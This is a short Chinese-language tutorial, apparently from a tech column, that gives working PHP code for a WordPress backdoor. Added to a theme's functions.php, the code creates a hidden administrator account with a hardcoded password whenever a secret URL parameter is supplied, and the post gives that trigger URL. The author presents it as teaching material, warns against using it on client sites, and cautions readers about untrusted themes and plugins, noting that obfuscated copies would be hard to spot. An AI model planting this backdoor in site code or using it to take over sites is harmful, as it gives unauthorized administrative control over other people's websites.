是不是在很多場合聽說過后門（Backdoor），特別是一些高科技的電影里面，那些系統或者程序的作者都會通過自己留下的后門來拯救世界。其實程序的后門留我們根本不遠，其實你用的很多軟件或者程序都是有后門的，下面給大家演示的一個很簡單的案例，就可以給 WordPress 站點留下后門，獲取管理員權限，當然這只是一篇教學文章，個人強烈你在使用 WordPress 幫人作網站的時候，千萬不要這樣做。
<?php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'backdoor' ) ) {
$user_id = wp_create_user( 'backdoor', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}
}
比如在主題的 functions.php 文件中添加以上代碼，就可以給 WordPress 添加一個能夠創建管理員的后門，只需訪問 http://www.yoursitename.com/?backdoor=go，然后就創建了一個用戶名為“backdoor”，密碼為：“pa55w0rd!” 的管理員。
如果在把上面這段代碼加密一下，很多用戶就根本不知道這段代碼是做什么的，所以強烈建議大家不要隨便去下載一些來路不明的 WordPress 主題和插件，說不定就給你的站點安裝了一個后門。
更多信息請查看IT技術專欄
公眾號
事業單位
當前位置：
公考類
招聘類
各類考試
